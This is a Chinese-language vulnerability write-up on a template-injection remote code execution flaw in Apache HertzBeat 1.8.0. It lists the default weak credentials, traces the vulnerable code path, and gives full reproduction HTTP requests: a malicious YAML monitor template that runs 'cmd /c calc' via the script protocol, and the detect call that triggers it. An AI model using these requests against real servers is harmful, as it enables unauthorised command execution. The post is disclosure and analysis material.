Apache HertzBeat 模板注入漏洞

Alanni
2026-08-11 / 0 评论 / 8 阅读 / 正在检测是否收录...

Apache HertzBeat 模板注入漏洞

一、基本信息

开发语言: java

官网地址: hertzbeat

版本: 1.8.0

二、漏洞分析

mso9xlwl.png

1. 前提条件

在 HertzBeat 中,要利用这个漏洞,你需要先登录。
但系统在默认配置下,存在一个内置的超级管理员弱口令:admin / hertzbeat 或者普通账户 tom / hertzbeat。

关键代码: sureness.yml appId: admin

credential: hertzbeat

role: [admin]

2. 漏洞触发链

整个攻击分为两个动作:第一步:(写入恶意模板);第二步:(触发监控探测)。

3. 写入恶意模板

攻击者向服务器发送一个 POST /api/apps/define/yml 请求,包含了一段精心构造的 YAML 模板。

# 恶意模板片段
metrics:
  - name: basic
    protocol: script      # 关键点1:告诉系统用脚本协议采集
    script:
      scriptTool: powershell    # 关键点2:指定用 bash 执行, 如果时windwos你可以使用 cmd 和 powershell 工具。
      scriptCommand: "cmd /c calc" # 关键点3:真正的恶意命令

当这段请求到达服务器时,它会进入 AppController.java

@PostMapping(path = "/define/yml")
public ResponseEntity<Message<Void>> newAppDefineYml(@Valid @RequestBody AppDefineDto defineDto) {
    // 【漏洞点1:黑名单过滤太弱】
    for (String riskyToken : RISKY_STR_ARR) {
        if (defineDto.getDefine().contains(riskyToken)) {
            throw new RuntimeException("can not has malicious remote script");
        }
    }
    appService.newAppDefineYml(defineDto.getDefine());
    // ...
}
private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader", "!!",
        "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext",
        "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine",
        "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory", "XmlWebApplicationContext",
        "ClassPathXmlApplicationContext", "MarshalOutputStream", "InflaterOutputStream", "FileOutputStream"};

遍历 RISKY_STR_ARR 列表内的黑名单字符串数组去拦截危险命令。但是传的命令是普通的 id > /tmp/poc,避开了这个黑名单。

4. 触发

HertzBeat 有一个贴心的功能叫“探测 (Detect)”:在正式保存监控前,先去目标机器上跑一次试试看通不通。

攻击者向 POST /api/monitor/detect 发送请求。

private void detectMonitorDirectly(Monitor monitor, List<Param> params, String collector) {
    Job appDefine = appService.getAppDefine(monitor.getApp());
    
    // ... 省略包装任务的代码 ...
    
    // 关键动作把任务交给调度器去执行
    List<CollectRep.MetricsData> collectRep = collectJobScheduling.collectSyncJobData(appDefine);
}

调度过程 (RPC 通信):
collectSyncJobData 会把这个任务打包,通过网络发送给专门负责干活的节点 —— Collector (采集器)。

5. RCE

来到 Collector 节点。Collector 判断协议是 script 则步入 collect 。

@Override
public void collect(CollectRep.MetricsData.Builder builder, long monitorId, String app, Metrics metrics) {
    // 从任务里提取脚本配置
    ScriptProtocol script = metrics.getScript();
    
    // 准备命令列表
    List<String> cmdList = new ArrayList<>();
    cmdList.add(script.getScriptTool()); // 添加 "bash"
    // ... 添加参数 ...
    cmdList.add(script.getScriptCommand()); // 添加我们的恶意命令 "id > /tmp/poc"

    // ProcessBuilder 直接执行系统命令
    ProcessBuilder processBuilder = new ProcessBuilder(cmdList);
    processBuilder.redirectErrorStream(true);
    Process process = processBuilder.start(); // 命令在服务器上执行
    
    // ... 读取执行结果返回 ...
}

三、本地复现

写入恶意模板。

POST /api/apps/define/yml HTTP/1.1
Host: 192.168.174.138:1157
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Authorization: Bearer eyJhbGciOiJIUzUxMiIsInppcCI6IkRFRiJ9.eJw1jN0KwjAMRt8l1wusq2HZXkW8qCaF-tNJ0w1BfHc70Mtzvo_zhmtNMIMwqQhNGC8x4qHXiDwpI_MQ_EDCThg6sPXczkEeKTdKZo1sLZrVDOty04ymZdOyr6HC7Eb2PXkaqAN9Pf9idLsoy11b4fgLnj5fp8kpww.j_lRHvRYvBWRT2CmVw9GPm9sphi37BRohaJuC--N7Ue3wiOo34e1ii53zX8cJKSAyBdRLbyueMVG16d-p_ybCA
Content-Type: application/json
Content-Length: 757

{
  "define": "category: custom\napp: cnvd\nname:\n  zh-CN: pocps\n  en-US: pocps\nhelp:\n  zh-CN: poc\n  en-US: poc\nhelpLink:\n  zh-CN: https://example.com\n  en-US: https://example.com\nparams:\n  - field: host\n    name:\n      zh-CN: Host\n      en-US: Host\n    type: host\n    required: true\nmetrics:\n  - name: basic\n    i18n:\n      zh-CN: basic\n      en-US: basic\n    priority: 0\n    fields:\n      - field: result\n        type: 1\n        i18n:\n          zh-CN: result\n          en-US: result\n    aliasFields:\n      - result\n    protocol: script\n    script:\n      scriptTool: powershell\n      charset: UTF-8\n      scriptCommand: \"cmd /c calc\"\n      parseType: oneRow\n"
}

触发

POST /api/monitor/detect HTTP/1.1
Host: 192.168.174.138:1157
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Authorization: Bearer eyJhbGciOiJIUzUxMiIsInppcCI6IkRFRiJ9.eJw1jN0KwjAMRt8l1wusq2HZXkW8qCaF-tNJ0w1BfHc70Mtzvo_zhmtNMIMwqQhNGC8x4qHXiDwpI_MQ_EDCThg6sPXczkEeKTdKZo1sLZrVDOty04ymZdOyr6HC7Eb2PXkaqAN9Pf9idLsoy11b4fgLnj5fp8kpww.j_lRHvRYvBWRT2CmVw9GPm9sphi37BRohaJuC--N7Ue3wiOo34e1ii53zX8cJKSAyBdRLbyueMVG16d-p_ybCA
Content-Type: application/json

{
  "monitor": {
    "name": "pocscript-detect",
    "app": "cnvd",
    "scrape": "static",
    "instance": "127.0.0.1",
    "intervals": 600,
    "status": 0
  },
  "params": [
    {
      "field": "host",
      "paramValue": "127.0.0.1",
      "type": 1
    }
  ]
}

mso9xzm7.png

0

评论 (0)

取消